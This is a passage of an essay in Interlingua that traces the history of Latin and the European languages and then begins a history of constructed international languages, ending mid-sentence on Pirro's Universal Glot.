presenta le principios de Interlingua.\nContento: Le via del lingua latin. Le via del linguas construite. Interlingua, le latino moderne.\nLE VIA DEL LINGUA LATINEdit\n(Ab le latino classic usque al latino \"implicite\")\nLe linguas indoeuropee. Le linguas del mundo pertine a varie familias. Illos que pertine al mesme familia ha un origine commun.\nUn del familias de linguas es le indoeuropee a cuje brancas le plus importante pertine le linguas indoiranian, grec, italic, celtic, germanic, baltic e slave. Lor lingua ancestre era parlate verisimilemente aliquando al fin del tertie millennio a.Chr. alicubi in Europa Central.\nLe linguas parlate in le Europa hodierne es salvo alicun exceptiones indoeuropees.\nLe grecos. Le grecos veniva ab le nord, habitava primo le parte del sud del Peninsula Balkanic e le insulas circumjacente e fundava postea colonias in varie locos del costas del Mediterraneo. In le principio lor cultura non multo differeva ab le del altere populos indoeuropee ma in le sexte seculo a.Chr. un cambiamento rapide comenciava. Un cultura toto novelle se produceva, le cultura classic grec, parlar super que es quasi superflue post que illo es ben cognoscite per tote le mundo.\nIn ille tempore le grecos viveva (dunque lor cultura classic floreva) intra le quadros non de un stato unitari ma de statos urbes independente. Solmente in le quarte seculo a.Chr. se formava un stato unitari grec, le imperio de Alexandro le Grande que comprehendeva ultra le territorios habitate ab longe per le grecos anque Asia Minor e Egypto (pro un brevissime tempore mesmo Persia e un parte de India). Ma post le morte de su fundator (323 a.Chr.) illo se decomponeva in quattro regnos independente.\nLe interprisa de Alexandro totevia non dispareva sin lassar ulle tracia. In le territorio del statos successor de su imperio, in despecto del cessation del unitate politic, le unitate cultural non cessava. Al contrario, un stadio novelle del cultura grec se evolveva: le hellenistic, que se inricchiva de elementos del culturas minorasiatic e egyptian.\nLe lingua del grecos. In le tempores le plus ancian super que nos ha ancora cognoscentias le varie tribos grec parlava non un lingua unitari ma varie dialectos de un lingua.De illos le iono-attic perveniva al significantia le major proque illo deveniva le idioma del cultura classic: ab illo se formava le greco classic. Ma in le periodo hellenistic isto era supplantate per le greco \"koinê\" (i.e. commun) que alligava le varie dialectos grec basante se totevia supra toto super le attic.\nRoma. Iste urbe (fundate secundo le tradition in 735 a.Chr.) in le principio era parvissime. Ma a causa del genialitate politic e militar de su cives illo pauco a pauco deveniva le centro del imperio le plus importante del historia human cuje hereditage es determinante usque a hodie.\nLe imperio roman attingeva su extension le major sub le domination de Trajano (98 – 117). Illo era in fundo un imperio circummarin. Su territorio circumfereva duo mares: le Mediterraneo e le Mar Nigre. A illo pertineva Europa verso le west ab le Rheno – e mesmo quasi tote le insula de Grande Britannia – e verso le sud ab le Danubio e, in plus, le Rumania hodierne e le costa del nord del Mar Nigre, Asia verso le west ab Persia e verso le nord ab le Peninsula Arabic, in Africa Egypto e tote le costa del nord del continente.\nLe diminution del territorio del imperio ab le secunde seculo resultava supra toto del attaccos repetite del barbare tribos germanic.\nLe lingua de Roma era le latino pertinente al branca italic del linguas indoeuropee. Su version classic (in que le grande obras del litteratura latin era scribite e a que le homine hodierne de erudition general audiente le parola \"latino\" pensa) se consolidava circa le prime seculo a.Chr. ma in le seculos subsequente le latino vulgar (parlate per le plebe) obteneva un peso de plus in plus grande.\nRoma e le mundo hellenistic. Durante su expansion Roma subjugeva militar- e politicamente le mundo hellenistic. Ma isto, in vice, lo conquireva culturalmente. Le cultura hellenistic deveniva pauco a pauco le de tote le imperio. Talmente se formava intra le quadros del imperio roman un cultura specific: le cultura antique.\nSub le influentia del cultura hellenistic le lingua latin adoptava multe vocabulos ab le greco assi que isto deveniva le fonte le plus importante del vocabulario foranee incorporate in le latino. (Il es typic que ex le tres vocabulos del nomine del mantenitor le plus importante del lingua latin in le epochas sequente, le ecclesia catholic roman – in latino: Ecclesia Catholica Romana – duo – a saper \"ecclesia\" e \"catholica\" – es de origine grec.)\nLe situation lingual del imperio. Le lingua official del imperio era le latino, in su parte oriental le greco subsisteva como secunde lingua official. Ma durante que in le Occidente le latino devorava tote le altere linguas anque in le uso quotidian (un sol poteva resister usque al presente in su fortia absorptive: le basco) – iste processo es nominate le del romanisation – in le Oriente il habeva plur linguas que le greco non poteva supplantar. De illos le plus importantes pertineva al familia de linguas semitic.\nLe judeos constitueva un parve populo in le imperio. Ma lor religion les dava un significantia particular. Illo era characterisate per le pur monotheismo, un phenomeno singular non solo inter lor vicinos ma anque inter tote le populos vivente intra le quadros del imperio roman. Le lingua sacral del judeos era le hebreo ma quotidianmente illes parlava le arameo, ambe del quales era un lingua semitic.\nLe christianismo. Le religion del judeos era un ethnic ma un novelle religion nascite ex illo, le christianismo, habeva pretentiones universal. Ab le prime seculo illo continuava expander se in tote le imperio e durante a pena plus de duo seculos illo deveniva su religion le major, e, finalmente, al comenciamento del quarte seculo illo deveniva mesmo su religion de stato.\nIste expansion non era sin effecto al christianismo mesme. Como le nove religion del civilisation antique illo tosto se inricchiva del cultura hellenistic e post haber devenite religion de stato illo incorporava anque le idea imperial roman.\nE le situation lingual del parte oriental del imperio e le destino futur del christianismo es characterisate excellentemente per le parolas sequente del Biblia: \"Pilato scribeva anque un titulo e faceva poner lo super le cruce. Il era scribite: Jesus le Nazareno, le rege del judeos... E il era scribite in hebreo, in latino, in greco.\" (Johannes 19, 19-20)\nBen que le christianismo habeva nascite in le ambiente de gente semitophone, illo comenciava diffunder se non in le lingua del prime congregationes christian, le arameo, ma per medio del greco. Durante que pauco a pauco le latino obteneva un rolo de plus in plus importante in le ecclesia – le organisation religiose del christianismo – e su importantia al fin superava mesmo le del greco, le linguas semitic tosto dispareva ex su vita (illos subsisteva al plus como linguas de varie communitates heretic). Talmente le linguas semitic nunquam perveniva a jocar alicun rolo in le imperio ultra le limites de lor proprie gruppos ethnic.\nLe circumstantia que le christianismo deveniva le religion official del imperio produceva naturalmente un connexion stricte inter le stato e le ecclesia ma illo non significava que le duo se haberea fundite. Le ecclesia – ben que le influentia del capite del imperio, le imperator, era importante in illo – preservava su organisation independente; le stato, in vice, – ben que su ordine e vita grandemente reflecteva le punctos de vista religiose – non deveniva theocratic (in un stato theocratic le clero possede le potentia politic) ma preservava su charcater in fundo laic.\nLe scission del imperio. Le epocha del imperio roman christian unitari era brevissime. Al fin del quarte seculo illo se scindeva in duo partes: le imperio roman occidental e oriental.\nLe lingua del imperio occidental era univocamente le latino, in le oriental le greco deveniva de plus in plus consuete anque in le uso official e finalmente toto supplantava le latino. Del resto, post le scission ambe partes se nominava imperio roman, lor soveranos imperator roman e lor populationes romanos. (Un curiositate interessante: le parlatores del greco moderne appellava lor lingua mesmo al comenciamento del dece-none seculo \"lingua romaic\".)\nLe scission politic e lingual del imperio resultava in que anque le ecclesia se scindeva in un ecclesia occidental o latin e in un oriental o grec.\nIn le principio il pareva como si le parte oriental habeva essite le plus importante ma plus tarde il deveniva clar que comparate a le del occidental su signification era de rango secundari.\nLe cambiamento del cultura. Le fin del cultura antique e le nascentia de su successor, le cultura europee era connectite con duo processos le quales al mesme tempore portava con se anque un translation geographic.\nLe un era le avantiamento del islam. Iste potente movimento religiose e politic se mitteva in motion in Arabia e ab le septime seculo separava – salvo alicun rar vestigios – le populos semitophone – insimul con le territorios asiatic e african – e ab le christianismo e ab le traditiones politic del cultura antique. Le cultura moslem – cuje lingua es le arabe, un lingua semitic – es anque al presente de grande significantia.\nLe altere era le christianisation del populos barbare del nord. Isto era realisate in parte per le ecclesia occidental, in parte per le oriental. Per isto ille populos deveniva non solo christian ma anque le heredes del cultura antique durante que illos non omitteva inricchir ille hereditage per lor valores proprie. Ex iste interaction nasceva le nove cultura europee cuje zona de diffusion coincideva exactemente con lo que es geographicamente Europa. – Il es un circumstantia interessante que le cultura antique – como nos lo ha observate – era un circummarin separate per frontieras continental ab le mundos estranie, le europee es un continental que le mar separa ab istos.\nMa le nascentia del nove cultura non era un processo simple e – como tote le nascentias – sin suffrentias. In le sequentes nos debera occupar nos un pauco plus detaliatemente con illo.\nAnte toto nos debe observar que lo determinante in le processo del christianisation del Nord e del formation del nove cultura era lo que era exequite per le ecclesia occidental e lo que occurreva sub su egide. Pro isto nos nos occupara primo del eventos que habeva loco in le Occidente e solo postea dirige nostre reguardo verso le Oriente.\nLe conquestas germanic. Le barbare tribos germanic vivente trans le frontieras del imperios roman se mitteva in marcha in le directiones del west e del sud. Lor attaccos repetite sigillava le destino del imperio occidental. Al fin del quinte seculo le conquisitores invadente disorganisava su ordine politic e in su territorio fundava regnos independente. In illos le strato regente era germanic ma le majoritate del population consisteva del plebe latinophone. Totevia, in despecto del cessation del previe ordine politic on non poteva parlar de un disorganisation total del societate proque le ecclesia garantiva su unitate al minus religiose e in general cultural. In plus, le ecclesia poteva non solo mantener ma mesmo augmentar su autoritate proque le conquisitores germanic tosto o tarde adhereva a illo. Postea le christianismo non se limitava al germanicos immigrante in le territorio del ancian imperio ma se extendeva anque a ille germanicos qui habitava trans le frontieras de un vice – in general con le appoio efficace del regentes germanic ja christian.\nLe restauration del imperio occidental e le christianisation final del Occidente. Le decomposition final del Occidente durava tres seculos. Al fin del octave seculo Carolo le Grande, rege del francos (un tribo germanic) univa sub su sceptro un grande parte de Europa. In 800 ille faceva le papa coronar le como imperator e per iste acto le restauration del imperio (nominate invariemente roman) era declarate. Ben que le jurisdiction de su successores non se extendeva realmente a tote le territorio de su dominio, le institution imperial totevia garantiva que le conscientia politic del Occidente, le \"republica christian\" restava vive usque al fin del medievo inter tote le populos pertinente al ecclesia latin.\nLe situation lingual de Europa Occidental post su christianisation es characterisate supra toto per un duplicitate. Il ha un lingua alte: le latino, le lingua del ecclesia e del erudition e al mesme tempore le lingua connexive de tote le territorio, e il ha linguas basse parlate per le plebe.\nLe linguas basse pote esser gruppate in tres classes.\n1. Le linguas romanic evolveva ex le dialectos del latino vulgar. Le causa del dialectisation e le del formation de nove linguas era que post le decomposition del imperio occidental le communication inter le population simple del varie regiones quasi toto cessava e il es ben sapite que le isolation semper resulta in un divergentia lingual.\nLe linguistica sole distinguer dece-un linguas romanic (le sardo, le italiano, le dalmatiano, le rumano, le rhetoromano, le francese, le provencial, le catalano, le espaniol, le galiciano e le portugese) le quales ha numerose dialectos. Le dalmatiano extingueva in le dece-none seculo, le alteres vive anque hodie. Ex illos – ab le un latere a causa de lor peso litterari, ab le altere latere in consequentia de lor diffusion e de lor rolo in le communication international – al presente le francese, le espaniol, le portugese e le italiano es particular-mente importante.\nIl es a mentionar que le rumano – le lingua del descendentes de un population romanisate del parte del sud del Peninsula Balkanic – era parlate in le imperio oriental, pro isto su parlatores pertineva al ecclesia grec e tote lor evolution – e historic e lingual – differeva assatis ab le de tote le populos romanophone pertinente al ecclesia latin.\nPro demonstrar le divergentia del linguas romanic, nos examina un sol exemplo. Le vocabulo latin \"audire\" (= \"audir\") deveniva in le italiano \"udire\", in le espaniol \"oir\", in le portugese \"ouvir\", in le francese \"ouïr\".\nSuper le base de diverse tractos characteristic lor le linguas romanic pote esser classificate in tres modos. On pote distinguer linguas romanic\n- occidental (pyreneo-alpin) e oriental (apennino-balkanic),\n- mediterranee e continental,\n- intermedie e lateral.\nLe francese es occidental, continental e intermedie; le espaniol es occidental, mediterranee e lateral; le portugese es occidental, mediterranee e lateral; le italiano es oriental, mediterranee e intermedie. (Le rumano es oriental, mediterranee e lateral.)\nOn vide immediatemente que le espaniol e le portugese pertine al mesme classe (le qual on sole nominar iberic) durante que le italiano e le francese pertine a classes diverse.\nPro dar un sol exemplo a cata tracto distinctive nos observa solmente que\n1.1 in le linguas romanic occidental le plural del substantivos se termina in -s, in le orientales in general in -i, o -e. (Le prime proveni del accusativo, le secunde del nominativo latin) Assi in le francese \"loups\", \"lunes\" (= \"lupos\", \"lunas\"), in le espaniol \"lobos\", \"lunas\", ma in italiano \"lupi\", \"lune\";\n1.2 in le mediterranees le vocales final del latino vulgar es conservate, in le continentales, in vice, illos dispareva o se reduceva. Assi nos ha (ab \"lupo\", \"luna\") in le italiano \"lupo\", \"luna\", in le espaniol \"lobo\", \"luna\", ma in le francese \"loup\", \"lune\";\n1.3. in le intermedies le comparativo es construite per un descendente del adverbio latin \"plus\", in le laterales per un de le \"magis\". Assi in le italiano \"più\", in le francese \"plus\", ma in le espaniol \"más\".\nIn le formation del linguas romanic le varie substratos e superstratos lingual – i.e. ab le un latere le linguas super que le latino se installava, ab le altere latere illos cuje parlatores como conquisitores appropriava le latino – jocava rolos significante. P.e. nos observa que in le formation del francese le substrato gallic (celtic) e le superstrato franc (germanic) – le lingua mesme obteneva su nomine ab isto! – jocava equalmente rolos.\nLe linguas romanic era parlate originalmente per homines vivente inter conditiones modestissime. Pro isto lor vocabulario multo se reduceva comparate a le del latino classic. Iste processo era promovite per que le lingua de erudition remaneva le latino, dunque il non mesmo habeva un exigentia al vocabulos del major nivello de erudition in le lingua del plebe.\n2. Inter le linguas non romanic es a mentionar primo le germaniches proque le populos de lingua germanic restante extra le frontieras del ancian imperio o installante se in ille zonas marginal sue ubi le population latinophone dispareva (como supra toto ab le un latere inter le Danubio e le Alpes e in le region del Rheno, ab le altere latere in Grande Britannia) reteneva lor lingua. Ex illos proveni le hodierne linguas german, nederlandese e scandinave.\nLe significantia del hodierne linguas celtic (irlandese, scotese, gallese, breton) non es troppo grande. Plus importante es le descendentes del retenite linguas baltic (letton, lituan) e slave (polonese, tchec, slovac, sloven, croate).\nAl fin nos mentiona le alicun linguas finnougrian que anque hodie existe: le hungaro, le finnese, le estoniano.\nIste linguas non romanic – o plus tosto lor ancestres – in le epocha in question – similemente al romaniches – non era apte a exprimer contentos de un cultura plus alte.\n3. In le dece-prime seculo le normannos de origine scandinave ma francophone conquireva le anglosaxones germanicophone (vivente in le partes central e del sud-est de Grande Britannia). Le resultato de iste evento era un mixtion lingual anglosaxone-francese ex que nasceva le lingua anglese. Iste lingua mixte – ab le puncto de vista linguistic de typo creol – occupa un loco special inter le linguas germanic e romanic.\nSu vocabulario grandemente se romanisava assi que ab un puncto de vista lexic illo pote esser considerate como un lingua quasi romanic. Su grammatica, in vice, deveniva toto peculiar. Le accidentia se simplificava extrememente: un accidentia plus simple serea ja a pena apte al expression acceptabilemente concise del relationes grammatic le plus importante. Le loco del disparite formas synthetic era occupate per un systema ric de structuras analytic. Le grammatica del anglese es paradigmatic ab le puncto de vista que illo monstra, qual sorta de grammatica se produce in caso de un mixtion lingual germano-romanic.\nLe diverse linguas del medieval Europa Occidental, naturalmente, influentiava le unes le alteres. Ante toto nos ha a mentionar que le latino de iste periodo ja non era le classic. Sub le influentia del linguas vulgar pauco a pauco se formava un nove version del latino: le medieval. Isto era apte a functionar como lingua alte e al mesme tempore connexive de su epocha.\nMa non solo le linguas vulgar influentiava le latino: anque isto los influentiava. Pauco a pauco un numero augmentante de vocabulos latin se incorporava in le linguas vulgar.\nUn tertie typo de influentia era que le vocabulos comenciava migrar ex le un lingua vulgar in le altere.\nLe evolution del linguas national. Parallelmente al ascension cultural del stratos social laic le plus alte le exigentia de poter exprimer contentos non solo quotidian in le linguas vulgar comenciava monstrar se.\nAb le initio del secunde millennio obras litterari in le linguas romanic – primo in le francese, postea in le provencial e in le dece-tertie-dece-quarte seculos anque in le italiano (que nos pensa a Boccaccio, a Petrarca e supra toto a Dante) comenciava apparer. Pauco a pauco le uso del linguas romanic deveniva consuete e le del latino desuete in le campos le plus vaste del vita. Iste processo conduceva a tal eventos que pro exemplo in 1539 le rege Francisco I de Francia (del resto, un del representantes le plus famose del fanatic intolerantia religiose) inaugurava le francese como le sol lingua official de su pais.\nObviemente, como le uso del linguas – nos pote ja dicer: national – romanic se expandeva, le inricchimento de lor vocabulario deveniva urgente. On satisfaceva iste exigentia per adoptar vocabulos ab le latino adaptante los al systema phonetic e morphologic del lingua national. Ma post que le methodos del linguistica historic era ancora incognoscite, iste adaptation succedeva solo partialmente: le vocabulos in question remaneva plus latinesc que illos haberea remanite si illos habeva pertinite continuemente al vocabulario del lingua in question.\nTalmente le vocabulario del linguas romanic se scindeva in duo stratos ben distinguibile: le del original \"vocabulos popular\" e le del \"vocabulos docte\". Ecce un exemplo interessante. Le vocabulo latin \"causa\" significava equalmente \"cosa\" e \"causa\". In consequentia del cambiamento regular iste vocabulo appareva in le italiano e in le espaniol como \"cosa\", in le francese como \"chose\" ma in tote le tres linguas con le significato exclusive \"cosa\". Pro exprimer le notion \"causa\" in le epocha del inricchimento del lingua on introduceva in le italiano e in le espaniol le vocabulo docte \"causa\", in le francese le \"cause\".\nAssi se developpava un processo relatinisante e al mesme tempore reconvergente del linguas romanic: le vocabulos del nivello cultural le major deveniva in illos latinesc e al mesme tempore quasi identic. Il es quasi incredibile que in le linguas romanic moderne – anque in le usantia quotidian – quante parolas docte – i.e. latinesc – se trova.\nLe evolution del linguas vulgar non romanic era simile a le del romaniches. Anque illos incorporava multes ex ille vocabulos latin que istos incorporava.\nLe formation del duo stratos in le vocabulario del linguas romanic disrumpeva le regular series derivative del vocabulario latin e transformava lor membros in vocabulos sin connexiones formal. (Il es obvie que in le linguas non romanic tal connexiones del toto non existeva.) Talmente – como nos ja mentionava – le verbo latin \"audire\" (= \"audir\") deveniva in le italiano le vocabulo popular \"udire\", in le espaniol \"oir\", in le portugese \"ouvir\", in le francese \"ouïr\". Le adjectivo latin \"auditivus\" (= \"auditive\"), un derivato regular de \"audire\", in vice, como vocabulo docte appare in italiano, in le espaniol e in le portugese como \"auditivo\", in le francese como \"auditif\". Hic nos non pote discoperir ulle connexion regular. E quanto al anglese, in illo contra le verbo germanic \"to hear\" on trova le adjectivo latinesc \"auditive\". (Iste exemplo demonstra, del resto, non solo le disruption de un serie derivative regular ma anque le relatinisation e reconvergentia del linguas romanic e, in plus, le latinisation de un lingua non romanic e su convergentia con le romaniches.)\nLe evolution oriental. In le Oriente le cosas procedeva alteremente que in le Occidente. Le imperio oriental (le qual secundo le nomine previe de su capital, Constantinopole: Byzantio, on sole appellar anque le imperio byzantin) subsisteva durante tote le medievo e guardava le lingua grec e le traditiones roman. Ma a ille populos que prendeva ab Byzantio le chistianismo e insimul con illo le cultura hellenistic e le idea imperial roman que illo habeva incorporate, le lingua del ecclesia deveniva non le greco ma le si-nominate slavo ecclesiastic.\nIsto non del toto es surprendente proque le populos christianisate per Byzantio era quasi totalmente slaves: le macedonios, le bulgaros, le serbos e supra toto le russos. Non era slave le ja mentionate rumanos e le albaneses. (Le ancestres de istos era verisimilemente le karpos que viveva in le hodierne Rumania e parlava un lingua pertinente al branca thrace del familia de linguas indoeuropee. Postquam le romanos habeva occupate lor territorio, le lingua karpe incorporava numerose parolas latin. Quando le germanos expelleva le romanos ex iste area, le karpos escappava in le Peninsula Balkanic e post un longe migration occupava – sub un nomine cambiate – lor patria hodierne.)\nLe fin del imperio oriental habeva loco in 1453 quando le turcos moslem – un populo asiatic – occupava Constantinopole. Tote le Peninsula Balkanic perveniva sub lor domination. Ex le populos pertinente al ecclesia oriental solmente le russos remaneva independente ma anque illes suffreva multo a causa del attaccos de un populo extraeuropee: le mongol.\nLe evo moderne comenciava in circa 1500 in Europa Occidental. Le Renascentia, le Reformation, le initio de un scientia in un senso toto novelle, un cambiamento radical del technica, le reinfortiamento del burgesia, le consolidation del statos national, le interprisas colonisative es alicunes del characteristicas del nove tempores.\nLe sorte del latino. Un momento interessante de iste epocha era lo que on nomina le humanismo. Un elemento eminente sue era le retorno al tradition antique prechristian. Ab le puncto de vista del linguas \"classic\" (le latino e le greco) le humanismo habeva effectos e positive e negative. Le effecto positive era supra toto que lor peso augmentava in le vita scientific e in le education. Iste processo era adjuvate anque per que le eruditos escappante ab Byzantio in Europa Occidental portava con se multe valores del cultura de lingua grec.\nLe linguas classic deveniva semper plus \"vivente\" anque in le senso que le scientias developpante in cadentia accelerate adoptava vocabulos pro le designation del notiones de numero augmentante quasi exclusivemente ex illos. Iste costume sembla esser rumpite solo in le ultime decennios ab que in le terminologia scientific (supra toto in le scientia de computatores) juxta le terminos de origine latin e grec le proportion de les de origine anglese comenciava augmentar rapidemente.\nMa le retorno al classicismo habeva anque un importante effecto negative. Le grande philologos del humanismo initiava un lucta acute contra le latino medieval \"corrumpite\" pro le restauration del normas lingual classic. Lor lucta era successose. Illes succedeva in succuter le position del latino medieval e in pervenir a que in le ambientes erudite solo le latino classic era considerate como \"bon\" latino. Ma isto non era apte a corresponder al exigentias del epocha.\nExaminante le causas de iste inaptitude nos pote constatar le sequentes.\nPrimo, le obsolescentia del grammatica. Le characteristica del grammatica latin classic es le ricchessa del accidentia lo que rende possibile le libertate quasi illimitate del ordine de vocabulos e per isto le expression de nuances extraordinarimente fin e mesmo aperi le via al bravuras stilistic subtil. Ma le pensar lingual le plus nove tene le ordine le plus constricte de vocabulos pro su medio natural e pro exprimer le subtilitates trovava novelle instrumentos lingual, al formas latin del expression del nuances, in vice, illo ha devenite insensibile, mesmo illo considera le ordine libere de vocabulos in le phrases latin como confusion – in le caso le melior como un enigma a decifrar – e le ricchessa del accidentia latin – non necessari in phrases de ordine restringite de vocabulos – como ornamento superflue resultante in difficultates inutile. Le problema es augmentate anque per le structuras special del lingua latin difficilemente comprensibile al moderne pensar lingual.\nSecundo, le obsolescentia del vocabulario. Con le cambiamento del vita nove notiones emerge le quales exige nove vocabulos (neologismos). Le defensores del puritate del latino, in vice, extirpeva impietosemente omne neologismo. Al mesme tempore notiones ancian perde lor actualitate – e le latino portava como carga superflue le vocabulos indicante los. Al fin, le obsolescentia del vocabulario es le connexion anque con le cambiamento del modo de reguardar le cosas, con le exigentia al ampliation o restriction del sphera de acception de certe vocabulos. Le humanistas, in vice, voleva eliminar tote le cambiamentos semantic del singule vocabulos evenite durante un millennio e medie.\nSi iste aspiration violente de restauration non se habeva declarate ma, al contrario, on haberea lassate que le latino se adapta al exigentias novelle, mesmo haberea supportate iste adaptation, il es multo probabile que post su version classic e medieval anque su moderne se haberea formate.\nIl es ver que in le evo moderne – in contrasto con le universalismo e regionalismo (simultanee e complementari) del medievo – le suprematia del nationalismo era inobviabile lo que habeva necessarimente su consequentias anque in le campo lingual: le consolidation del si-nominate linguas national – i.e. le linguas ab le un latere conscientemente cultivate, ab le altere latere supportate per un potentia statal – al detrimento e de un lingua supranational e del idiomas regional – i.e. o linguas politicamente non supportate o dialectos del linguas national. (Nos non debe oblidar que le decreto de Francisco I se dirigeva non solo contra le latino ma anque – e forsan plus accentuatemente – contra le idiomas regional, supra toto contra le provencial.) Nonobstante, in despecto del preponderantia de punctos de vista national, le supranationales nullemente cessava; consequentemente un latino moderne, si illo habeva existite, haberea subsistite – mesmo si su uso se habeva restringite a un élite limitate -, tanto plus proque le majoritate de su elementos (como vocabulos docte e terminos technic) realmente ha subsistite. (Il es interessante a observar que in despecto del effortios del nationalismos anque le punctos de vista regional non dispareva e remaneva \"élites\" conservante le idiomas regional, mesmo si, naturalmente, a un nivello basse de developpamento.)\nIl es hic a mentionar que le mania del predilection verso le latino classic occideva practicamente le latino mesmo in le ecclesia catholic roman cuje lingua official in principio anque hodie es illo. Il es un secreto aperte que in nostre dies le documentos ecclesiastic es producite originalmente in diverse linguas national e illos es traducite ja ab longe in numerose tales quando on prepara lor \"official\" versiones latin de linguage ridicule que pote continer solo le parolas de Ciceron e Cesare e in que notiones como le del \"auto\" o del \"television\" es exprimite non per vocabulos simple ma per circumscriptiones intricate cuje loco conveniente serea non in textos ma solo in vocabularios interpretative. Ben que si il ha un organisation inter cuje quadros le uso de un latino \"moderne\" o \"vivente\" era ben motivate, isto es justemente le ecclesia catholic.\nDunque in le manco de un \"latino moderne\" e in le atmosphera del nationalismo victoriose le uso del linguas national deveniva general in tote le campos del vita.\nTalmente un situation curiose se produceva: durante que le latino in su forma \"explicite\" (i.e. como lingua independente) non era plus in uso, in su forma \"implicite\" (i.e. como elementos latin in le linguas national) non solo continuava viver in quasi tote le linguas europee ma illo deveniva de plus in plus ric.\nLe retorno del Oriente. Le reconnexion de Europa Oriental al currente principal del civilisation europee eveniva per duo passos.\nLe prime era – supra toto in consequentia del activitate del tsar Petro le Grande – le modernisation de Russia. Insimul con le reception del civilisation moderne le vocabulos del quales nos ha parlate in supra penetrava in le lingua russe.\nLe secunde era le expulsion del turcos ab Europa in le dece-none seculo. Isto rendeva possibile le modernisation del populos balkanic accompaniate per le mesme processos lingual como in Russia.\nObviemente, le modernisation – o \"occidentalisation\" – de tote iste populos e de lor linguas – a causa del hereditage roman sia directe sia indirecte – non del toto era un processo alien a illos. Illo era plus tosto un retorno a lor radices le plus profunde.\nLe diffusion del linguas europee. Le expansion del moderne civilisation europee es un phenomeno ben cognoscite. Insimul con iste expansion le linguas europee perveniva a territorios de plus in plus remote. Illos ha devenite \"linguas mundial\" ma non pro se mesme ma como portatores del civilisation moderne. Con un parve exaggeration nos poterea dicer que per medio de illos le \"latino implicite\" deveniva \"lingua mundial\" e illos deveniva \"linguas mundial\" proque illos portava e representava le \"latino implicite\".\nIl es a pena necesse observar que durante lor expansion global le linguas europee incorporava multe vocabulos de origine le plus diverse: ab le \"chocolatl\" azteca usque al \"yoga\" sanskrite. E il es forsan superflue parlar de que alicun vocabulos ab le un o le altere lingua europee ha penetrate in quasi tote le alteres: ab le \"week-end\" anglese usque \"sputnik\" russe.\nLe panorama del linguas europee. In Europa se trova plur decenas de linguas national – e alora nos ancora non ha parlate del multe idiomas regional. Totevia, ex istos il ha alicunes que durante le historia ha pervenite a un importantia major.\nPrimo le lingua del Renascentia, le italiano obteneva un grande autoritate ma postea isto era supplantate per le del francese que in le vita diplomatic e scientific quasi hereditava ab le latino le rolo del lingua connexive international. Extra le continente europee – ultra le francese – le significantia del linguas del potentias marin expansive e colonisante – le espaniol, le portugese, le nederlandese, le anglese – es a observar.\nAb le fin del dece-octave seculo in le continente le importantia del germano augmentava gradualmente, specialmente in le monarchia del Habsburges e in su ambiente de attraction ma anque in le paises scandinave connectite con Germania per stricte relationes cultural e economic, e mesmo in Russia. Le causa principal del diffusion del lingua german era totevia le grande progresso del vita scientific german deveniente un modello general pro tote le vita scientific del mundo.\nAb le medietate del dece-none seculo le peso anque del russo augmentava permanentemente.\nExaminante le situation actual nos pote constatar que al presente le lingua europee le plus diffundite es le anglese. Multos assere que tosto o tarde iste lingua devenira le lingua universal del epocha moderne. Ben que multe signos pare reinfortiar iste assertion, on pote observar anque un processo opposite: le resistentia contra le hegemonia del anglese augmenta (le plus resolutemente in le sphera del linguas romanic).\nBen que le importantia del francese va diminuente, su rolo in le relationes international nullemente es negligibile (anque extra le territorios de orientation lingual francese) con reguardo particular al resistentia supra-mentionate contra le anglese. Il es digne a nostre attention que in le organisationes international cuje sol lingua official – in despecto del effortios del grande potentias anglophone – remaneva le francese nemo exige le introduction de ulterior linguas official durante que in illos in que ultra le francese on rendeva official anque le anglese le actiones in favor de linguas ulterior immediatemente se mitteva in marcha.\nLe rolo del altere grande linguas europee es plus tosto regional ma como tal in general multo importante. Assi le del espaniol in America latin – ab le partes del sud del Statos Unite usque al Terra del Foco -, le del portugese in Brasil, le del germano in certe partes de Europa, le del russo, in vice, in le paises del Union Sovietic de un vice.\nQuattro ex iste linguas – le anglese, le francese, le espaniol e le russo – ha loco inter le sex linguas official del Organisation del Nationes Unite. Le linguas semiofficial del ecclesia catholic roman – ultra su lingua official (como nos ja lo videva: impracticabile): le latino classic – es le italiano, le espaniol, le francese, le anglese e le germano. Le linguas official del foro cultural europee de 1985 in Budapest era le anglese, le francese, le russo, le espaniol, le germano e le italiano.\nLe problema lingual del mundo – e respectivemente de Europa – hodierne es enorme. Le exigentia de un lingua commun del civilisation moderne es grande. Ma qual serea iste lingua? Nos videva que ni le anglese ni le latino classic es apte a iste rolo.\nMa nos videva que in le linguas europee (que pote esser representate de derecto per le septe le plus diffundite) se cela un grande hereditage lingual commun supra toto, totevia non exclusivemente latinesc. Poterea nos utilisar iste hereditage? Poterea illo forsan esser le base de un lingua construite apte a servir como lingua commun?\nUn lingua construite. Poterea nos cercar le solution in iste direction? Pro poter responder iste question nos debe studiar le historia del linguas construite.\n2. LE VIA DEL LINGUAS CONSTRUITE\n(Ab Universal Glot usque a Interlingua)\nLe exigentia del production de un lingua artificial surgeva ja in le grande philosophos rationalista del dece-septe seculo, Descartes e Leibniz. Totevia, lor aspirationes era motivate non per le manco de un lingua connexive international del civilisation europee (alora il habeva ancora le latino e ja le francese) ma plus tosto per le exigentia de un structura rational que haberea rendite possibile le classification inambigue del notiones describente le mundo. Non es nostre carga examinar sia le realisabilitate sia le expedientia de iste idea. Pro nos lo importante es que iste thema se connecte solo laxemente al problema que nos interessa.\nLe idea que pro eliminar le difficultates proveniente del diversitate lingual del civilisation moderne on deberea construer un lingua auxiliar international surgeva in le ultime tertio del dece-none seculo.\nIl non es per fortuna que in ille periodo. Ab le un latere il era ja toto evidente que qui voleva participar in le communication international debeva apprender al minus tres linguas (le francese, le anglese e le germano) e on poteva conjecturar que in le futuro le numero del linguas a apprender crescerea, ab le altere latere pro le etate que credeva inconditionalmente in le developpamento il era obvie que con medios rational tote le problemas pote esser facilemente solvite.\nPro nos le historia del aspirationes a construer linguas auxiliar international appare como le historia del experimentos – a vices consciente ma le plus sovente subconsciente – a construer ex le latino \"implicite\" un lingua de plen valor.\nIste historia se divide in duo partes. Le prime es le epocha del initiativas individual characterisate per tentativas reprendite e per lor critica acre. Le secunde es le del Association de Lingua Auxiliar International (IALA) que terminava in modo reassecurante un developpamento de duo tertios de seculo.\n2.1. Le epocha del initiativas individual.\nLe comenciamentos. – Nos ignora in qui surgeva le prime vice le idea que le lingua auxiliar international deberea esser construite ex le elementos commun del linguas natural. Ma il es certe que primo Pirro elaborava un plano de lingua que se basava super le elementos commun in le linguas national e que aspirava al totalitate. Su Universal Glot appareva in 1868. (On non succedeva in discoperir qui Pirro era. Su nomine es verisimilemente un pseudonymo. Secundo certe suppositiones recente ille era de nationalitate german durante que previemente on opinava que ille habeva essite un espaniol.) Universal Glot era le 